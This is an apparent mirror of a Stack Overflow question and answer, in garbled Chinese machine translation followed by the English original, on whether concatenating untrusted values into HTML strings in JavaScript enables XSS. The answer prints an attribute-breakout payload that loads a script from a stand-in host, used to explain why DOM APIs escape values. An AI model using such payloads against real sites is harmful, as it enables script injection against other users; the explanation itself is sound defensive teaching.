在Javascript中构建HTML字符串真的不安全吗？ [英] Is it really insecure to build HTML strings in Javascript?

问题描述

承载我们网站的公司在部署之前审查我们的代码 - 他们最近告诉我们这个：

HTML字符串不应该是直接操纵，因为这为我们打开了潜在的XSS漏洞
。相反，总是使用DOM api来创建
元素...可以是jQuery或直接DOM apis。

例如，而不是

  this.html.push（'< a class =quiz-audata-src = '+ this.au +'>< span class =quiz-au-icon>< / span>点击播放< / a>'）; 
  

他们告诉我们要做

  var quizAuLink = $（'a'）; 
 quizAuLink.addClass（'quiz-au'）; 
 quizAuLink.data（'src'，this.au）; 
 quizAu.text（'点击播放'）; 
 quizAu.prepend（'< span class =quiz-au-icon>< / span>'）; 
  

这是真的吗？任何人都可以给我们一个XSS攻击的例子，可以利用像第一个HTML字符串？ $ c> this.au 会以某种方式修改，它可能包含如下内容：

 >< script src =http://example.com/evilScript.js>< / script>< span class =
  
 
 
 
这会弄乱你的HTML并注入脚本：
 < a class =quiz-audata-src =>< script src =http://example.com/evilScript.js>< / script>< span class =>< span class =quiz-au-icon>< / span>点击播放< / a> 
  
如果使用DOM操作来设置 src 属性，脚本（或其他任何使用的XSS）将不会被执行，因为它会被DOM API正确转义。
 
 
 
 
 
 
针对一些评论者说，如果有人可以修改 this.au ，当然他们可以自己运行脚本： t知道 this.au 来自哪里，也不是特别相关。它可能是数据库中的一个值，并且数据库可能已被泄露。它也可能是一个恶意用户，试图为其他用户搞砸。它甚至可能是一个无知的非技术人员，他没有意识到写作def> abc会破坏东西。
 
 
 
 
 
 
还有一件事。在您提供的代码中， var quizAuLink = $（'a'）; 不会创建新的< a> 元素。它只会选择所有现有的。您需要使用 var quizAuLink = $（'< a>）; 来创建一个新的。
 
The company who hosts our site reviews our code before deploying - they've recently told us this:

  
HTML strings should never be directly manipulated, as that opens us up
  to potential XSS holes. Instead, always use a DOM api to create
  elements...that can be jQuery or the direct DOM apis.
For example, instead of
this.html.push( '<a class="quiz-au" data-src="' + this.au + '"><span class="quiz-au-icon"></span>Click to play</a>' ); 
They tell us to do
var quizAuLink = $( 'a' );
quizAuLink.addClass( 'quiz-au' );
quizAuLink.data( 'src', this.au );
quizAu.text( 'Click to play' );
quizAu.prepend( '<span class="quiz-au-icon"></span>' );
Is this really true? Can anyone give us an example of an XSS attack that could exploit an HTML string like the first one?
解决方案
If this.au is somehow modified, it might contain something like this:
"><script src="http://example.com/evilScript.js"></script><span class="
That'll mess up your HTML and inject a script:
<a class="quiz-au" data-src=""><script src="http://example.com/evilScript.js"></script><span class=""><span class="quiz-au-icon"></span>Click to play</a>
If you use DOM manipulation to set the src attribute, the script (or whatever other XSS you use) won't be executed, as it'll be properly escaped by the DOM API.



In response to some commentators who are saying that if someone could modify this.au, surely they could run the script on their own: I don't know where this.au is coming from, nor is it particularly relevant. It could be a value from the database, and the DB might have been compromised. It could also be a malicious user trying to mess things up for other users. It could even be an innocent non-techie who didn't realize that writing "def" > "abc" would destroy things.



One more thing. In the code you provided, var quizAuLink = $( 'a' ); will not create a new <a> element. It'll just select all the existing ones. You need to use var quizAuLink = $( '<a>' ); to create a new one.

                        
这篇关于在Javascript中构建HTML字符串真的不安全吗？的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！